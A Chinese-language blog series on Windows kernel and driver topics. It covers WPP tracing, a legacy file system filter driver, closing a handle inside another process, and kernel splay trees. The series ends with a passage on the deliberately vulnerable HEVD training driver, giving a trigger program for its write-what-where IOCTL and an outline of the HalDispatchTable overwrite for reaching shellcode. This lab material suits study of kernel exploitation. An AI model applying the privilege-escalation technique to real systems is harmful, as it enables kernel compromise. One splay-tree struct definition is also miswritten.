#define WPP_FLAGS_LEVEL_ENABLED(flags,lvl) \
           (WPP_LEVEL_ENABLED(flags) && WPP_CONTROL(WPP_BIT_ ## flags).Level >= lvl)

第三步，包含头文件wpp.h和自动生成的*.tmh到会用到trace的源文件中

准确来说*.tmh文件还没有生成，只有在我们build驱动的时候才会生出来

build之前需要先在项目属性中开启WPP

我们有多少个.c文件，就会有多少个.tmh文件被生出来，WPP预处理器为每一个源文件都生成了一个.tmh文件

第四步，初始化和clean up WPP

分别对应WPP_INIT_TRACING和WPP_CLEANUP

WPP_INIT_TRACING( DriverObject, RegistryPath );
WPP_CLEANUP(DriverObject);

前者放在DriverEntry里，后者放在Unload里

当然了，如果遇到意外程序提前结束了，也要在退出时先CLEANUP

测试

extra

#define WPP_CONTROL_GUIDS \
    WPP_DEFINE_CONTROL_GUID(GUIDFriendlyName, (DE1AB18A, 8A47, 43FB, B3BB, E503D293A33F),  \
        WPP_DEFINE_BIT(FOR_DEBUG) \
        WPP_DEFINE_BIT(FOR_FILTER_FILENAME) \
        WPP_DEFINE_BIT(FOR_DRIVER_STATUS)  )

这里的BIT我们可以随便定义，不一定非要和KdPrintEx的ComponentID保持一致，这样并不影响KdPrintEx正常工作，而且可以通过-flag选项控制trace log输出

将tracelog的-flag选项分别设置为1、2、4可以控制不同类型的trace log

完美！

项目文件

TraceView

TraceView还支持过滤器，我们可以设置过滤器来过滤掉不想看到的trace message

这里我们discard掉了所有不包含fsfilter字符串的message（不区分大小写），可以看到捕获的文件名并没有显示在TraceView中

TraceViewPlus

推荐使用TraceVIewPlus，用了都说好，界面看着舒服，输出也能很方便导出，直接在这里添加pdb文件，然后启动即可

Windows File System Filter Driver

2024-05-08T00:00:00+02:00

references:

windows提供了分层的驱动模型，过滤驱动位于IO请求和真正的负责处理该IO请求的驱动之间，可以捕获到IRP，从中获取必要的信息并进行必要的操作之后将IRP转发给真正负责处理的驱动

代码编写

main.c

所有的驱动入口函数都是DriverEntry

我们需要将DriverObject作为全局变量存储起来

PDRIVER_OBJECT g_fsFilterDriverObject =  NULL;

extern "C"
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    (RegistryPath);
    NTSTATUS status = STATUS_SUCCESS;
    return status;
}

下面我们需要填充IRP派遣表

NTSTATUS FsFilterDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    NTSTATUS status = STATUS_SUCCESS;
    return status;
}

NTSTATUS FsFilterDispatchPassThrough(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    NTSTATUS status = STATUS_SUCCESS;
    return status;
}

extern "C"
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    (RegistryPath);
    NTSTATUS status = STATUS_SUCCESS;
    for (int i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = FsFilterDispatchPassThrough;
    }
    DriverObject->MajorFunction[IRP_MJ_CREATE] = FsFilterDispatchCreate;
    return status;   
}

设置快速IO派遣表

对于普通驱动，是不需要这一步的，但是对于过滤驱动，需要额外初始化一个被称为fast IO dispatch table的东西

FAST_IO_DISPATCH g_fastIoDispatch = {
    sizeof(FAST_IO_DISPATCH),
    FsFilterFastCheckIfPossible,
    ...
}; // 这个结构体的字段超级多

extern "C"
NTSTATUS DriverEntry(
    _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {
    (RegistryPath);
    NTSTATUS status = STATUS_SUCCESS;

    DriverObject->FastIoDispatch = &g_fastIoDispatch;
    return status;
}

注册关于文件系统变更的通知回调

我们需要这个通知来在发现新的文件系统时挂载到上面，从而进行IO的过滤操作

// 注册文件系统通知回调
status = IoRegisterFsRegistrationChange(DriverObject, FsFilterNotificationCallback);
if (!NT_SUCCESS(status)) {
    return status;
}

设置卸载例程

 DriverObject->DriverUnload = FsFilterUnload;

驱动卸载例程的实现

void FsFilterUnload(_In_ PDRIVER_OBJECT DriverObject) {
    // 注销通知回调
    IoUnregisterFsRegistrationChange(DriverObject, FsFilterNotificationCallback);
}

然后我们需要清除并deattach所有之前创建并attach到文件系统上的设备

void FsFilterUnload(_In_ PDRIVER_OBJECT DriverObject) {
    // 注销通知回调
    IoUnregisterFsRegistrationChange(DriverObject, FsFilterNotificationCallback);
    ULONG numDevices = 0;
    while (1) {
        IoEnumerateDeviceObjectList(
            DriverObject,
            devList,
            sizeof(devList),
            &numDevices
        );
        if (0 == numDevices) 
            break;
        numDevices = min(numDevices, RTL_NUMBER_OF(devList));
        for (int i = 0; i < numDevices; i++) {
            FsFilterDetachFromDevice(devList[i]);
            ObDereferenceObject(devList[i]);
        }

        // 睡眠一段时间，等待所有的IRP完成
        KeDelayExecutionThread(KernelMode, FALSE, &interval);
    }
}

IrpDispatch.c

我们的过滤驱动的IRP handler只有一个任务，就是把请求传递给更底层的驱动，下一层驱动存储在device extension中

NTSTATUS FsFilterDispatchPassThrough(PDEVICE_OBJECT DeviceObject, PIRP Irp) { 
    PFSFILTER_DEVICE_EXTENSION pDevExt = (PFSFILTER_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(pDevExt->AttachedToDeviceObject, Irp); 
}

来自用户模式的所有CreateFile的操作都会触发我们的IrpCreate函数的调用

我们可以从FILE_OBJECT中获取到文件名，然后打印到Dbg信息中，之后我们再调用PassThrough将IRP传递下去

NTSTATUS FsFilterDispatchCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp) {

    PFILE_OBJECT pFileObject = IoGetCurrentIrpStackLocation(Irp)->FileObject;
    DbgPrint("%wZ\n", &pFileObject->FileName);
    return FsFilterDispatchPassThrough(DeviceObject, Irp);
}

并不是所有的文件系统驱动都实现了fast IO，因此我们需要先检测一下

可以直接定义一个宏来进行检测

#define VALID_FAST_IO_DISPATCH_HANDLER(_FastIoDispatchPtr,_FieldName)\
(((_FastIoDispatchPtr)!=NULL)&& \
(((_FastIoDispatchPtr)->SizeofFastIoDispatch) >= \
(FIELD_OFFSET(FAST_IO_DISPATCH,_FieldName)+sizeof(void*))) && \
((_FastIoDispatchPtr)->_FieldName!=NULL))

上面的那个宏中的+sizeof(void*)我现在也没看懂，不知道为啥还要加上这个东西，我明白了，这个sizeof(void*)是字段本身的长度，FAST_IO_DISPATCH结构体除了第一个字段之外，其他的字段都是指针

那么这样就可以计算出，Field是否超出了FAST_IO_DISPATCH结构体的真实长度

Fast IO的传递和普通IRP的传递不太一样，前者需要大量的代码，因为每一个Fast IO函数的参数都不太一样

BOOLEAN FsFilterFastIoQueryBasicInfo(
    __in PFILE_OBJECT  FileObject,
    __in BOOLEAN Wait,
    __out PFILE_BASIC_INFORMATION Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PDEVICE_OBJECT DeviceObject
) {
    PDEVICE_OBJECT nextDeviceObject = ((PFSFILTER_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedToDeviceObject;
    return FALSE;
}

VOID FsFilterFastIoDetachDevice(
    __in PDEVICE_OBJECT SourceDevice,
    __in PDEVICE_OBJECT TargetDevice) {
    IoDetachDevice(TargetDevice);
    IoDeleteDevice(SourceDevice);
}

notification.c

常规的文件系统包含了控制设备和volume设备（这个volume device我不知道要怎么翻译）

volume设备attach到storage device stack上，控制设备将自己注册为文件系统

每当有文件系统注册或者注销的时候，我们的过滤驱动注册的通知回调都会被调用

通过这个回调我们可以将过滤驱动在正确的时间attach或者detach到文件系统中

当文件系统注册时，我们attach到他的控制设备上，然后枚举该设备上所有的volume设备并attach上去

当文件系统deactivate时，我们就检查他的控制设备stack，从中找到我们的设备，detach掉，这个操作通过上面的FsFilterFastIoDetachDevice函数完成

attachdetach.c

这个文件中包含了一些针对attache和detach的helper函数

这个attach这里我是真的读不懂，需要去看一下书查一下资料，在微软的官方文档中，找到了这份关于文件系统过滤驱动的资料

文件系统过滤驱动需要调用IoCreateDevice函数来创建一个过滤设备对象以attach到volume或者文件系统stack上

status = IoCreateDevice(
          gFileSpyDriverObject,                     //DriverObject
          sizeof(MYLEGACYFILTER_DEVICE_EXTENSION),  //DeviceExtensionSize
          NULL,                                     //DeviceName
          DeviceObject->DeviceType,                 //DeviceType
          0,                                        //DeviceCharacteristics
          FALSE,                                    //Exclusive
          &newDeviceObject);                        //DeviceObject

上面代码中DeviceObject参数是我们将要attach到的目标设备对象，newDeviceObject是过滤驱动设备对象自己

新创建的newDeviceObject的DeviceExtension将会指向一个MYLEGACYFILTER_DEVICE_EXTENSION结构体，这个结构体是由我们自己定义的，但是有一个要求，就是MYLEGACYFILTER_DEVICE_EXTENSION结构体中必须要包含下面这个字段：

PDEVICE_OBJECT AttachedToDeviceObject;

DeviceName参数必须被设置为NULL，因为过滤驱动是attach到文件系统或者volume driver stack上的，他不需要名称

DeviceType参数的类型必须和要attach到的目标设备类型一致

下面这个是我们自定义的device extension结构体：

typedef struct _FSFILTER_DEVICE_EXTENSION
{
    PDEVICE_OBJECT AttachedToDeviceObject;
} FSFILTER_DEVICE_EXTENSION, *PFSFILTER_DEVICE_EXTENSION;

detach:

VOID FsFilterDetachFromDevice(PDEVICE_OBJECT DeviceObject) {
    PFSFILTER_DEVICE_EXTENSION pDevExt = (PFSFILTER_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoDetachDevice(pDevExt->AttachedToDeviceObject);
    IoDeleteDevice(DeviceObject);
}

检查我们的过滤驱动设备是否已经attach：

BOOLEAN FsFilterIsMyDeviceObject(PDEVICE_OBJECT DeviceObject) {
    return DeviceObject->DriverObject == g_fsFilterDriverObject;
}

安装驱动

sc create FsFilter type= filesys binPath= c:\FSFilter.sys

执行命令sc start FsFilter来启动我们的过滤驱动

之后我们可以使用DeviceTree看到我们的过滤驱动创建了一堆设备，这些设备是在挂在到volume device上的时候创建出来的

我们的驱动也已经趴到了文件系统上面

可以看到我们的过滤驱动已经爬满了各个文件系统

并且在dbgView中可以截获到一堆文件操作：

停止服务后，我们的过滤驱动就自动卸载了，之前attach上的device也全都detach了

项目文件

关闭其他进程中的句柄

2024-03-21T00:00:00+01:00

references：

https://scorpiosoftware.net/2020/03/15/how-can-i-close-a-handle-in-another-process/

很多人熟悉ProcExp的关闭任意进程中句柄的能力，那么他是怎么完成这项任务的呢

标准的CloseHandle函数只能关闭当前进程的句柄

有两条路线，第一个就是使用内核驱动，前提是你可以加载内核驱动的话，ProcExp使用的就是这种方法

另一种是在用户模式下实现，本文将着重介绍

第一个问题就是如何定位到目标句柄，必须要提供某些条件来唯一标识一个句柄，比如这个句柄是一个命名对象（named object）

使用Windows Media Player作为例子，WMP在同一台机器中只能有一个实例，那么WMP大概率使用了一个互斥量来实现这种效果

通过ProcExp可以看到，他确实是有这么一个互斥量

如果我们关掉这个句柄的话，就可以再打开一个WMP

如果我们想通过编程实现，那么就需要先定位到这个句柄，但是Windows文档中并未提供枚举句柄的函数，即使是在当前进程中

不过我们可以使用NativeAPI

使用NtQuerySystemInformation枚举系统中所有的句柄，然后在里面搜索属于WMP进程的句柄
只枚举WMP进程的句柄
注入代码到WMP进程，在里面遍历WMP进程的所有句柄

第二个选项是最合适的

首先定位WMP进程位置，使用TlHelp32来枚举进程

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

DWORD FindMediaPlayer() {
    HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return 0;

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    // skip the idle process
    ::Process32First(hSnapshot, &pe);

    DWORD pid = 0;
    while (::Process32Next(hSnapshot, &pe)) {
        if (::_wcsicmp(pe.szExeFile, L"wmplayer.exe") == 0) {
            // found it!
            pid = pe.th32ProcessID;
            break;
        }
    }
    ::CloseHandle(hSnapshot);
    return pid;
}


int main() {
    DWORD pid = FindMediaPlayer();
    if (pid == 0) {
        printf("Failed to locate media player\n");
        return 1;
    }
    printf("Located media player: PID=%u\n", pid);
    return 0;
}

现在我们已经定位到WMP了，可以枚举这个进程中的所有句柄了

HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
    FALSE, pid);
if (!hProcess) {
    printf("Failed to open WMP process handle (error=%u)\n",
        ::GetLastError());
    return 1;
}

#include <memory>

#pragma comment(lib, "ntdll")

#define NT_SUCCESS(status) (status >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

enum PROCESSINFOCLASS {
    ProcessHandleInformation = 51
};

typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
    HANDLE HandleValue;
    ULONG_PTR HandleCount;
    ULONG_PTR PointerCount;
    ULONG GrantedAccess;
    ULONG ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;

// private
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryInformationProcess(
    _In_ HANDLE ProcessHandle,
    _In_ PROCESSINFOCLASS ProcessInformationClass,
    _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
    _In_ ULONG ProcessInformationLength,
    _Out_opt_ PULONG ReturnLength);

使用ProcessHandleInformation获取所有的句柄信息

ULONG size = 1 << 10;
std::unique_ptr<BYTE[]> buffer;
for (;;) {
    buffer = std::make_unique<BYTE[]>(size);
    auto status = ::NtQueryInformationProcess(hProcess, ProcessHandleInformation, 
        buffer.get(), size, &size);
    if (NT_SUCCESS(status))
        break;
    if (status == STATUS_INFO_LENGTH_MISMATCH) {
        size += 1 << 10;
        continue;
    }
    printf("Error enumerating handles\n");
    return 1;
}

上面使用了智能指针在内存不够的情况下自动增大

我们还需要调用另一个NativeAPI——NtQueryObject来查询指定句柄的信息

typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectNameInformation = 1
} OBJECT_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_NAME_INFORMATION {
    UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryObject(
    _In_opt_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
    _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength);

我们现在是外部进程，我们不能直接往NtQueryObject传递从WMP进程中获取的句柄，而是要先将句柄复制出来再传进去，这也是为什么一开始打开WMP进程的时候需要加入PROCESS_DUP_HANDLE权限

auto info = reinterpret_cast<PROCESS_HANDLE_SNAPSHOT_INFORMATION*>(buffer.get());
for (ULONG i = 0; i < info->NumberOfHandles; i++) {
    HANDLE h = info->Handles[i].HandleValue;
    HANDLE hTarget;
    if (!::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget, 
        0, FALSE, DUPLICATE_SAME_ACCESS))
        continue;   // move to next handle
}

BYTE nameBuffer[1 << 10];
auto status = ::NtQueryObject(hTarget, ObjectNameInformation, 
    nameBuffer, sizeof(nameBuffer), nullptr);
::CloseHandle(hTarget);
if (!NT_SUCCESS(status))
    continue;

调用完NtQueryObject之后，就可以把复制出来的句柄关掉了，我们需要将获取到的字符串和WMP互斥量的名称进行对比以得到正确的句柄

WCHAR targetName[256];
DWORD sessionId;
::ProcessIdToSessionId(pid, &sessionId);
::swprintf_s(targetName,
    L"\\Sessions\\%u\\BaseNamedObjects\\Microsoft_WMP_70_CheckForOtherInstanceMutex", 
    sessionId);
auto len = ::wcslen(targetName);

auto name = reinterpret_cast<UNICODE_STRING*>(nameBuffer);
if (name->Buffer && 
    ::_wcsnicmp(name->Buffer, targetName, len) == 0) {
    // found it!
}

假设我们现在找到了目标句柄，那么下一步要怎么做呢？

我们可以再次调用DuplicateHandle，但是传入DUPLICATE_CLOSE_SOURCE标志变相达到关闭源句柄的目的

// found it!
::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget,
    0, FALSE, DUPLICATE_CLOSE_SOURCE);
::CloseHandle(hTarget);
printf("Found it! and closed it!\n");
return 0;

完整代码：

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <memory>

#pragma comment(lib, "ntdll")

#define NT_SUCCESS(status) (status >= 0)

#define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)

enum PROCESSINFOCLASS {
    ProcessHandleInformation = 51
};

typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO {
    HANDLE HandleValue;
    ULONG_PTR HandleCount;
    ULONG_PTR PointerCount;
    ULONG GrantedAccess;
    ULONG ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO;

// private
typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[1];
} PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryInformationProcess(
    _In_ HANDLE ProcessHandle,
    _In_ PROCESSINFOCLASS ProcessInformationClass,
    _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation,
    _In_ ULONG ProcessInformationLength,
    _Out_opt_ PULONG ReturnLength);


DWORD FindMediaPlayer() {
    HANDLE hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return 0;

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(pe);

    // skip the idle process
    ::Process32First(hSnapshot, &pe);

    DWORD pid = 0;
    while (::Process32Next(hSnapshot, &pe)) {
        if (::_wcsicmp(pe.szExeFile, L"wmplayer.exe") == 0) {
            // found it!
            pid = pe.th32ProcessID;
            break;
        }
    }
    ::CloseHandle(hSnapshot);
    return pid;
}
typedef enum _OBJECT_INFORMATION_CLASS {
    ObjectNameInformation = 1
} OBJECT_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

typedef struct _OBJECT_NAME_INFORMATION {
    UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;

extern "C" NTSTATUS NTAPI NtQueryObject(
    _In_opt_ HANDLE Handle,
    _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass,
    _Out_writes_bytes_opt_(ObjectInformationLength) PVOID ObjectInformation,
    _In_ ULONG ObjectInformationLength,
    _Out_opt_ PULONG ReturnLength);

int main() {
    DWORD pid = FindMediaPlayer();
    if (pid == 0) {
        printf("Failed to locate media player\n");
        return 1;
    }
    printf("Located media player: PID=%u\n", pid);
    HANDLE hProcess = ::OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_DUP_HANDLE,
        FALSE, pid);
    if (!hProcess) {
        printf("Failed to open WMP process handle (error=%u)\n",
            ::GetLastError());
        return 1;
    }

    ULONG size = 1 << 10;
    std::unique_ptr<BYTE[]> buffer;
    for (;;) {
        buffer = std::make_unique<BYTE[]>(size);
        auto status = ::NtQueryInformationProcess(hProcess, ProcessHandleInformation,
            buffer.get(), size, &size);
        if (NT_SUCCESS(status))
            break;
        if (status == STATUS_INFO_LENGTH_MISMATCH) {
            size += 1 << 10;
            continue;
        }
        printf("Error enumerating handles\n");
        return 1;
    }

    WCHAR targetName[256];
    DWORD sessionId;
    ::ProcessIdToSessionId(pid, &sessionId);
    ::swprintf_s(targetName,
        L"\\Sessions\\%u\\BaseNamedObjects\\Microsoft_WMP_70_CheckForOtherInstanceMutex",
        sessionId);
    auto len = ::wcslen(targetName);
    auto info = reinterpret_cast<PROCESS_HANDLE_SNAPSHOT_INFORMATION*>(buffer.get());
    for (ULONG i = 0; i < info->NumberOfHandles; i++) {
        HANDLE h = info->Handles[i].HandleValue;
        HANDLE hTarget;
        if (!::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget,
            0, FALSE, DUPLICATE_SAME_ACCESS))
            continue;   // move to next handle
        BYTE nameBuffer[1 << 10];
        auto status = ::NtQueryObject(hTarget, ObjectNameInformation,
            nameBuffer, sizeof(nameBuffer), nullptr);
        ::CloseHandle(hTarget);
        if (!NT_SUCCESS(status))
            continue;
        auto name = reinterpret_cast<UNICODE_STRING*>(nameBuffer);
        if (name->Buffer &&
            ::_wcsnicmp(name->Buffer, targetName, len) == 0) {
            // found it!
            ::DuplicateHandle(hProcess, h, ::GetCurrentProcess(), &hTarget,
                0, FALSE, DUPLICATE_CLOSE_SOURCE);
            ::CloseHandle(hTarget);
            printf("Found it! and closed it!\n");
            return 0;
        }
    }

    return 0;
}

内核数据结构——伸展树

2024-03-19T00:00:00+01:00

references：

https://www.osronline.com/article.cfm%5Earticle=516.htm

伸展树是一种二叉搜索树，它可以将最近被访问过的节点平衡为根节点，也就是说最近被访问过的数据在下一次再次被访问时能够很快被搜索到

WDK的ntifs.h文件中包含有RTL_SPLAY_LINK结构体以及操作函数的定义和声明

基础

伸展树由一个或者多个entry定义，每一个entry就是一个节点，每个节点由3个指针组成

Parent
LeftChild
RightChild

这几个指针看名字就知道啥意思

每一个节点由一个伸展树头部RTL_SPLAY_LINKS和用户定义的数据组成

typedef struct _RTL_SPLAY_LINKS {
    struct _RTL_SPLAY_LINKS *Parent;
    struct _RTL_SPLAY_LINKS *LeftChild;
    struct _RTL_SPLAY_LINKS *RightChild;
} RTL_SPLAY_LINKS;
typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;

RtlInitializeSplayLinks宏用于初始化SplayLinks：

SplayLink->Parent = Parent;
SplayLink->LeftChild = SplayLink->RightChild = NULL;

你也可以自定义伸展树的结构，只要里面插入了伸展树头部即可，就像使用ListEntry一样

typedef struct _MYSPLAYNODE {
    //
    // Splay Link to be used to insert this node
    // into my splay tree.
    //
    RTL_SPLAY_LINKS  SplayInfo;
    //
    // Data definition that I am using to build
    // splay node relationships..
    //
    ULONG   Value;
} RTL_SPLAY_LINKS;
typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;

节点的添加

3步走：

在树中找到合适的可以插入的位置
将新节点插入到找到的节点的LeftChild或者RightChild
"伸展"树，使得新插入的节点成为根节点

伸展树的遍历通过RtlLeftChild或者RtlRightChild函数来完成，使用哪一个函数根据新节点和父节点的关系决定，比如新节点比父节点小，就使用Left，比父节点大就使用Right

使用RtlInsertAsLeftChild或者Right来插入新节点到指定节点的左边或者右边

调用RtlSplay来“伸展”树

伸展树的同步

caller需要负责对伸展树的访问进行同步，根据IRQL的值，不同的同步策略会被使用

对于IRQL>=DISPATCH_DELVE(2)，自旋锁将会被使用，而且节点必须存在于non-paged pool（因为此时page-fault无法工作）

其他情况下就使用dispatcher对象：互斥量、信号量等，同时，节点可以存在于paged-pool中

伸展树的用处

每一个数据结构和其他的相比都有其优缺点，所有的数据结构的评价标准可以抽象为以下三个维度：

内存占用
搜索时间
管理开销（插入、删除等操作）

由于伸展树可以提高最近访问数据的访问速度，经常被用来实现缓存算法

需要注意的是，连续的对伸展树中的所有节点进行访问将会导致很大的开销，因为每一次访问都会引起伸展树的“伸展”操作

替代品：Generic Tables

伸展树用起来多少有点费劲，Windows使用伸展树实现了Generic Tables

Generic Tables的优势：

generic tables会帮你完成所有的伸展树操作，而且还提供了枚举树中所有节点的函数
如果伸展树无法提供你所需的性能，可以很方便的替换为AVL树，在引入ntrtl.h头文件之前，加入#define RTL_USE_AVL_TABLES 0定义即可
windbg提供了一个!gentable扩展

Generic Tables由RTL_GENERIC_TABLE结构体定义：

typedef struct _RTL_GENERIC_TABLE {
    PRTL_SPLAY_LINKS TableRoot;
    LIST_ENTRY InsertOrderList;
    PLIST_ENTRY OrderedPointer;
    ULONG WhichOrderedElement;
    ULONG NumberGenericTableElements;
    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine;
    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine;
    PRTL_GENERIC_FREE_ROUTINE FreeRoutine;
    PVOID TableContext;
} RTL_GENERIC_TABLE;
typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE;

和_RTL_AVL_TABLE结构体的定义很像，就是第一个字段不一样

该结构体使用RtlInitializeGenericTable进行初始化

VOID
NTAPI
RtlInitializeGenericTable (
    PRTL_GENERIC_TABLE Table,
    PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine,
    PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine,
    PRTL_GENERIC_FREE_ROUTINE FreeRoutine,
    PVOID TableContext
    );

table就是RTL_GENERIC_TABLE的地址
CompareRoutine就是用于节点之间进行比较的函数，返回RTL_GENERIC_COMPARE_RESULTS表明两个节点之间的关系
AllocateRoutine是用于分配新节点的函数
FreeRoutine用于在节点删除后释放节点内存
TableContext是上下文数据，可以是NULL

HEVD Arbitrary Memory Overwrite

2024-01-25T00:00:00+01:00

（所有压缩包的密码均为1）

references：

https://rootkits.xyz/blog/2017/09/kernel-write-what-where/

环境搭建

漏洞成因

由于驱动程序未检查由用户模式传过来的地址是否位于用户模式中，可能会导致任意内核地址的任意写（Write-What-Where）

#ifdef SECURE
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");
        *(Where) = *(What);
#endif

可以看到，安全代码使用了函数ProbeForRead对用户传过来的地址进行了检查，而漏洞代码未进行任何检查，直接写入用户指定的内存地址

在IDA中可以看到触发漏洞函数的IO control code是0x22200B

查看漏洞代码：

int __stdcall TriggerArbitraryOverwrite(_WRITE_WHAT_WHERE *UserWriteWhatWhere)
{
  unsigned int *What; // edi
  unsigned int *Where; // ebx

  ProbeForRead(UserWriteWhatWhere, 8u, 4u);
  What = UserWriteWhatWhere->What;
  Where = UserWriteWhatWhere->Where;
  DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
  DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", 8);
  DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
  DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
  DbgPrint("[+] Triggering Arbitrary Overwrite\n");
  *Where = *What;
  return 0;
}

很明显，传入的是一个结构体，两个字段，一个What，一个Where

typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE

触发漏洞

#include <stdio.h>
#include <malloc.h>
#include <Windows.h>
#pragma pack(1)
typedef struct _UserWriteWhatWhere {
    DWORD What;
    DWORD Where;
} _WRITE_WHAT_WHERE;

int main() {
    HANDLE driver_handle = CreateFileW(L"\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 3, 0, 3, 0x80, 0);
    if(INVALID_HANDLE_VALUE==driver_handle) {
        printf("can not open device, %x\n",GetLastError());
        exit(-1);
    }

    // io control 
        _WRITE_WHAT_WHERE* www = (_WRITE_WHAT_WHERE*)malloc(sizeof(_WRITE_WHAT_WHERE));
    if (0 == www) {
        printf("I've never seen malloc falied\n"); exit(-1);
    }
    // 这两个地址该怎么写我还真不知道  不过可以先随便写两个地址  看看iocode好不好使
    int what = 0;
    int where = 1;
    DWORD whataddresss = reinterpret_cast<DWORD>(&what);
    DWORD whereaddresss = reinterpret_cast<DWORD>(&where);
    www->What = whataddresss;
    www->Where = whereaddresss;
    DWORD   BytesReturned = 0;
    // 触发漏洞    iocontrol调用之后  where的值由1变成了0  说明调用正确
    if (DeviceIoControl(driver_handle, 0x22200B, www, sizeof(www), 0, 0, &BytesReturned, 0))
        return 1;

    return 0;
}

现在我们已经知道怎么抵达漏洞代码了，但是并不清楚如何进行利用

要想正确的利用该漏洞还不引起BSOD，需要用到Windows的一个未公开的函数ZWQueryIntervalProfile，该函数会调用系统调用nt!NtQueryIntervalProfile，内核函数存在于ntoskrnl.exe中，我们需要把这个文件搞到ida里看一看

我们需要获取到内核中的一个关键的地址，然后往这个地址中写入一些东西，这个过程必须是安全的而且可靠的，以免导致机器蓝屏

有一个几乎不怎么会被用到的函数NtQueryIntervalProfile，这个函数会调用内核函数KeQueryIntervalProfile，最终调用到HalDispatchTable+0x4所在的函数

poppopret有一篇关于这项技术的文章，大致总结如下：

在用户模式中加载ntkrnlpa.exe从而获取到HalDispatchTable的偏移量进而计算出他在内核中的地址
获取我们的shellcode的地址
从ntdll.dll中获取系统调用NtQueryIntervalProfile函数的地址
将nt!HalDispatchTable+0x4覆盖为我们的shellcode函数
调用NtQueryIntervalProfile来启动我们的shellcode

先来逆向一下NtQueryIntervalProfile函数

我们需要覆盖的地址就是nt!HalDispatchTable+0x4，重写了这个地址之后，只需要调用NtQueryIntervalProfile即可调用到我们的shellcode

也就是说我们需要覆盖这个地方

